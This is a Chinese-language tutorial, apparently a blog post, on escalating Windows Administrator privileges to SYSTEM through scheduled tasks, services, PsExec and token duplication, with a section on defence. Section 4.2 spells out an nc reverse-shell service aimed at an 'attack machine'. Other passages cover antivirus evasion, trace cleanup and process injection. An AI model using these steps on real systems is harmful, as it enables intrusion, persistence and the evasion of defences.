
1. 項目概述權限提升的本質與場景在Windows系統管理和安全滲透測試領域從Administrator權限提升到SYSTEM權限是一個經典且核心的操作。很多剛接觸這塊的朋友可能會疑惑Administrator不就是電腦里最大的“官”了嗎為什么還需要SYSTEM簡單來說Administrator是用戶賬戶權限的頂峰而SYSTEM是操作系統內核本身的權限是Windows中權限最高的安全主體。它不對應任何一個可登錄的用戶而是代表操作系統本身在運行。為什么需要這么做場景非常實際。比如你在管理一臺服務器有些系統級服務如修改某些受保護的注冊表鍵值、操作其他用戶的進程內存、修復深度系統故障明確要求SYSTEM權限。又或者在安全評估中獲取SYSTEM權限往往意味著完全控制了目標主機可以執行最隱蔽的持久化操作或訪問所有數據。從熱詞中頻繁出現的“你需要來自SYSTEM的權限才能對此文件夾進行更改”、“operation not permitted while system integrity protection”等錯誤提示也能看出理解和掌握權限提升方法是解決許多高級別系統問題的鑰匙。本文將從一個實踐者的角度深入剖析幾種從Administrator到SYSTEM的可靠方式。我不會只給你命令更重要的是解釋每種方法背后的原理、適用場景以及你可能遇到的坑。無論你是系統管理員、運維工程師還是安全研究人員這些內容都將是你工具箱里的硬核資產。2. 核心原理理解權限層級與令牌在動手之前我們必須先搞清楚背后的機制。否則你只是在死記硬背命令遇到變種環境就會束手無策。2.1 Administrator vs. SYSTEM誰才是真正的“神”Administrator是管理員組Administrators的成員擁有幾乎所有的用戶態操作權限可以安裝軟件、修改系統設置、管理其他用戶。然而操作系統內核為了保護自己最核心的部件劃定了一些“禁區”即使Administrator也無法直接觸碰。這些禁區通常由TrustedInstaller或SYSTEM賬戶本身持有權限。SYSTEM賬戶也稱為NT AUTHORITY\SYSTEM的權限則貫穿整個系統包括內核態。它可以加載驅動程序、直接讀寫物理內存、修改所有進程的令牌、訪問任何注冊表路徑。你可以把它理解為“操作系統本身在干活時使用的身份”。許多核心系統服務如Windows Update、Task Scheduler的主服務都是以SYSTEM權限運行的。2.2 安全令牌權限的“身份證”Windows使用安全令牌Security Token來標識一個進程或線程的安全上下文。當你以Administrator登錄時系統會為你創建一個包含你所屬組如Administrators、Users和特權Privileges的令牌。進程繼承這個令牌從而決定了它能做什么。權限提升的本質就是讓我們的進程獲取一個屬于SYSTEM賬戶的安全令牌。這個令牌擁有最高的特權集合例如SeDebugPrivilege調試程序可用于操作其他進程、SeTcbPrivilege充當操作系統的一部分等。一旦我們的進程持有了SYSTEM令牌我們就擁有了與之等同的權限。2.3 常見提權路徑的邏輯所有提權方法都圍繞一個核心找到一個以SYSTEM權限運行的進程或服務然后通過某種方式“借用”或“劫持”它的安全上下文。主要路徑有服務濫用創建或配置一個以SYSTEM運行的服務并讓該服務執行我們的代碼。計劃任務濫用安排一個以SYSTEM運行的計劃任務。進程注入/令牌竊取從一個已有的SYSTEM進程中復制其令牌并應用于我們的進程。利用漏洞利用系統內核或高權限服務中的漏洞直接獲取權限本文側重于前三種穩定、合法的方法。注意在生產環境或非自己完全擁有的系統上執行這些操作需格外謹慎并確保擁有合法授權。不當操作可能導致系統不穩定或觸發安全警報。3. 方法一利用計劃任務schtasks獲取SYSTEM Shell這是最直觀、最接近系統管理員日常操作的方法。計劃任務服務Task Scheduler本身就以SYSTEM權限運行我們可以創建一個立即執行的任務讓系統為我們啟動一個SYSTEM權限的進程。3.1 基礎命令與實操打開一個擁有Administrator權限的命令提示符CMD或PowerShell。最經典的命令是創建一個運行CMD的任務schtasks /create /tn SystemShell /sc once /st 00:00 /tr cmd.exe /ru SYSTEM /f schtasks /run /tn SystemShell參數拆解與原理/create創建新任務。/tn “SystemShell”任務名稱可以自定義。/sc once調度類型為“一次”。我們目的不是定時而是立即運行。/st 00:00開始時間設為午夜。配合/sc once任務會被創建并處于待觸發狀態。/tr “cmd.exe”要運行的程序任務操作。這里就是啟動命令提示符。/ru “SYSTEM”以SYSTEM賬戶運行關鍵參數。/f強制創建不提示確認。創建后使用/run參數立即執行該任務。此時系統會以SYSTEM身份啟動一個新的cmd.exe進程。但是這個新窗口默認不會顯示在當前用戶的桌面上。3.2 交互式SYSTEM桌面的獲取上述方法啟動的CMD在后臺我們需要與之交互。這里有一個經典技巧利用/i參數交互式和計劃任務的“即時”特性schtasks /create /tn “SysInteractive” /sc once /st 00:00 /tr “cmd.exe /c start cmd.exe” /ru “SYSTEM” /f /it schtasks /run /tn “SysInteractive”關鍵改進“cmd.exe /c start cmd.exe”第一個cmd.exe是任務啟動的進程它執行/c后面的命令start cmd.exe這會啟動一個新的、獨立的命令行窗口。/it這個參數組合至關重要。/i表示任務可以交互運行需要用戶登錄/t表示只在用戶登錄時才運行。加上/it這個新啟動的CMD窗口就會奇跡般地出現在當前用戶的桌面上并且頂欄顯示為“SYSTEM”權限。實操心得這個方法成功率極高但在某些嚴格管控的環境如某些服務器核心版或啟用了特定組策略禁止交互式服務登錄時窗口可能無法彈出。此時可以嘗試將任務的目標程序改為一個腳本或可執行文件將輸出重定向到文件或者使用下一節的方法。3.3 清理與隱蔽性考量完成任務后務必清理痕跡這是一個好習慣schtasks /delete /tn “SystemShell” /f schtasks /delete /tn “SysInteractive” /f在安全評估中schtasks的創建和運行記錄會留在系統的計劃任務日志中事件查看器 - 應用程序和服務日志 - Microsoft - Windows - TaskScheduler。對于需要隱蔽的行動這不是最佳選擇。4. 方法二利用服務控制管理器sc創建SYSTEM服務服務控制管理器Service Control Manager, SCM是管理Windows服務的核心組件。我們可以通過sc命令直接創建一個以SYSTEM運行的服務并通過啟動服務來執行命令。4.1 創建并啟動一個臨時服務假設我們想通過服務啟動一個SYSTEM權限的CMD并將其綁定到本地的一個端口例如用于遠程連接我們可以這樣做sc create SysService binPath “cmd.exe /k start cmd.exe” type own type interact start demand obj “LocalSystem” sc start SysService參數深度解析sc create SysService創建名為SysService的服務。binPath指定服務對應的可執行文件路徑。等號后面必須有一個空格這是sc命令最經典的坑。我們這里讓它啟動一個交互式CMD。type own服務類型為獨立服務。type interact允許服務與桌面交互這樣才能看到窗口。在Windows 10/11及Server新版中交互式服務受到嚴格限制此方法可能無法彈出窗口。start demand啟動類型為“手動”。obj “LocalSystem”指定運行賬戶為LocalSystem即SYSTEM。這是提權的核心。啟動服務后如果交互式桌面允許你會看到一個新的SYSTEM權限的CMD窗口。4.2 更實用的后臺執行與網絡綁定由于交互式限制更可靠的方法是將服務指向一個能建立網絡連接的后門或監聽器。例如使用ncNetcat或PowerShell反彈一個SYSTEM權限的shellsc create RevShell binPath “cmd.exe /c c:\tools\nc.exe -e cmd.exe 192.168.1.100 4444” start demand obj “LocalSystem” sc start RevShell這條命令會創建一個服務啟動后立即執行nc連接你的攻擊機192.168.1.100:4444從而給你一個反向的SYSTEMshell。執行完畢后服務可能會停止或報錯但這通常不影響已經建立的連接。注意事項路徑空格問題binPath中的路徑如果包含空格必須用雙引號包裹整個路徑例如binPath “\”C:\Program Files\My Tool\nc.exe\” -Ldp 4444 -e cmd.exe”。轉義引號是關鍵。二進制路徑確保binPath指向的可執行文件在目標系統上絕對存在且可訪問。否則服務啟動會失敗錯誤1053。服務狀態服務啟動后即使命令執行完畢服務本身可能仍處于“啟動”或“停止掛起”狀態。記得清理sc delete RevShell。4.3 利用已有服務的修改高級除了創建新服務還可以嘗試修改一個已存在的、以SYSTEM運行但啟動類型為“手動”或“禁用”的服務的binPath。但修改系統服務風險極高極易導致系統不穩定或崩潰不推薦在生產環境嘗試。思路是sc config “SomeExistingService” binPath “新的命令”然后啟動它。完成后必須改回去。5. 方法三進程注入與令牌復制PsExec與手動實現這是更接近“黑客”思維的方法直接從一個以SYSTEM運行的進程中“借用”令牌。微軟官方工具PsExec是此方法的典范。5.1 使用PsExec一鍵獲取SYSTEMPsExec是Sysinternals套件中的神器。以Administrator身份運行以下命令PsExec64.exe -i -s cmd.exe參數解讀-i交互式。讓運行的程序與當前桌面交互。-s以SYSTEM賬戶運行。這是核心參數。cmd.exe要運行的程序。執行后會直接彈出一個新的CMD窗口其權限就是SYSTEM。PsExec的原理是創建一個遠程服務在本地機器上來執行命令并通過管道與前端交互巧妙地完成了令牌的復制和進程創建。實操心得首次在某一臺機器上運行PsExec時它會將Psexesvc.exe復制到目標的ADMIN$共享并注冊為服務。這可能會被防病毒軟件標記。使用-accepteula參數可以跳過許可協議。這是最干凈、最快捷的方法之一但同樣會在安全日志4688、7045等事件和進程列表中留下明顯痕跡PsExec、Psexesvc。5.2 手動令牌復制原理與概念理解PsExec背后的手動方法能讓你更深入地理解Windows安全模型。核心步驟涉及Windows API打開進程使用OpenProcess函數以足夠的權限如PROCESS_QUERY_INFORMATION打開一個SYSTEM權限的進程句柄。常見的靶進程有winlogon.exe、services.exe、lsass.exe操作此進程風險極高或任何以SYSTEM運行的服務進程。打開進程令牌使用OpenProcessToken函數從該進程句柄獲取其訪問令牌的句柄。復制令牌使用DuplicateTokenEx函數復制該令牌并指定一個SecurityImpersonation或SecurityDelegation的模擬級別以及一個TokenPrimary類型創建一個新的主令牌。創建進程使用CreateProcessWithTokenW函數利用這個復制的SYSTEM主令牌創建一個新的進程如cmd.exe。這個過程通常需要編寫一段C/C或PowerShell腳本。在滲透測試框架如Metasploit或Cobalt Strike中getsystem命令自動化完成了這一系列操作。警告手動操作lsass.exe等核心進程極易導致系統藍屏BSOD。僅在測試環境或完全了解后果的情況下進行。6. 方法四其他實用技巧與場景化方案除了上述主流方法還有一些特定場景下非常有效的技巧。6.1 利用調試權限與進程附加Administrator默認擁有SeDebugPrivilege調試程序特權但默認是禁用的。我們可以啟用它然后附加到SYSTEM進程。啟用SeDebugPrivilege在Administrator的CMD中這通常需要一些工具或腳本?;蛘咧苯邮褂肞sExec -s啟動的SYSTEMCMD天然擁有此特權。進程注入使用調試API或類似CreateRemoteThread的技術將代碼注入到SYSTEM進程如winlogon.exe的上下文中執行。這需要較高的編程技巧但非常隱蔽。6.2 利用計劃任務執行PowerShell腳本在現代化環境中PowerShell更為強大。我們可以讓計劃任務執行一個PowerShell腳本來獲取SYSTEM會話# 創建一個PowerShell腳本內容為啟動一個SYSTEM權限的PowerShell $scriptContent “Start-Process PowerShell.exe -Verb RunAs -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -Command Start-Process cmd.exe -Verb RunAs’” $scriptContent | Out-File -FilePath C:\Temp\sys.ps1 -Encoding ASCII # 創建計劃任務執行該腳本 schtasks /create /tn “PSSys” /tr “powershell.exe -ExecutionPolicy Bypass -File C:\Temp\sys.ps1” /sc once /st 00:00 /ru SYSTEM /f schtasks /run /tn “PSSys”這種方法結合了PowerShell的靈活性和計劃任務的權限。6.3 繞過系統完整性保護SIP的思考從熱詞“operation not permitted while system integrity protection is engaged”可以看出在macOS或啟用了類似保護的Windows配置如Credential Guard, Device Guard下直接操作受保護進程或文件會失敗。在這些高強度安全環境下上述部分方法特別是令牌復制和進程注入可能會受阻。此時需要尋找未受保護但以SYSTEM運行的進程。有漏洞的驅動程序內核漏洞。錯誤配置的服務或計劃任務如可寫的服務路徑、不安全的服務權限。 這進入了更高級的漏洞利用和提權領域。7. 常見問題、排查與防御視角7.1 執行失敗常見錯誤與解決錯誤現象可能原因排查與解決思路“拒絕訪問” (Access Denied)1. 當前Administrator令牌未以高完整性級別運行。2. 組策略禁止創建計劃任務/服務。3. 防病毒/EDR軟件攔截。1. 確保CMD/PowerShell是“以管理員身份運行”的。2. 檢查gpedit.msc中相關策略如計算機配置-Windows設置-安全設置-本地策略-用戶權限分配。3. 嘗試禁用實時防護或添加排除項僅限測試環境?!胺瘴错憫?(1053錯誤)sc create中binPath指定的可執行文件路徑錯誤、不存在或無法執行。1. 仔細檢查路徑特別是空格和引號。2. 使用絕對路徑。3. 確保文件存在于目標系統且SYSTEM賬戶有讀取和執行權限。計劃任務運行無窗口缺少/it參數或系統策略禁止交互式服務檢測。1. 添加/it參數。2. 改用非交互式方法如網絡反彈或文件輸出。3. 檢查策略“管理模板-Windows組件-應用程序兼容性-關閉應用程序兼容性引擎”等非必要勿動。PsExec被攔截文件被防病毒軟件刪除或網絡共享訪問被阻止。1. 對PsExec進行免殺處理僅限授權測試。2. 使用替代品如PAExec或采用純sc/schtasks方法。令牌復制失敗目標進程受保護如Protected Process Light, PPL或權限不足。1. 尋找非PPL的SYSTEM進程如某些第三方服務。2. 確保已成功啟用SeDebugPrivilege和SeImpersonatePrivilege。7.2 從防御者視角看如何防范了解攻擊手法是為了更好地防御。作為系統管理員可以采取以下措施最小權限原則日常操作不要使用Administrator賬戶。使用普通賬戶僅在需要時通過UAC提權。強化服務與計劃任務定期審計以SYSTEM或高權限賬戶運行的服務和計劃任務確保其二進制路徑不可被低權限用戶修改。啟用高級安全審計啟用審核進程創建4688事件和審核服務創建4697事件等策略監控異常的schtasks、sc或PsExec使用。部署終端檢測與響應EDR現代EDR能夠檢測到令牌竊取、進程注入等可疑行為。應用控制策略使用Windows Defender應用程序控制WDAC或AppLocker限制只有授權的軟件可以運行阻止PsExec等工具的執行。禁用不必要的功能在服務器上若非必要可禁用計劃任務服務Schedule的遠程管理功能或嚴格限制能創建任務和服務的用戶。7.3 我的實操心得與選擇建議經過大量實踐我個人對幾種方法的偏好如下追求簡單快捷首選PsExec -s幾乎是“開箱即用”。環境兼容性好schtasks /create /it方法在絕大多數Windows桌面和服務器系統上都有效是可靠的備選方案。需要持久化或后臺執行使用sc create創建服務指向一個穩定的后門或監聽器。進行安全評估會依次嘗試schtasks、sc、PsExec并手動檢查令牌復制漏洞。同時一定要清理痕跡schtasks /delete和sc delete是你的好朋友。最后記住權限越大責任越大。SYSTEM權限可以對系統做任何事包括瞬間破壞它。每一次提權操作前都請明確你的目的并在可控的環境中進行測試。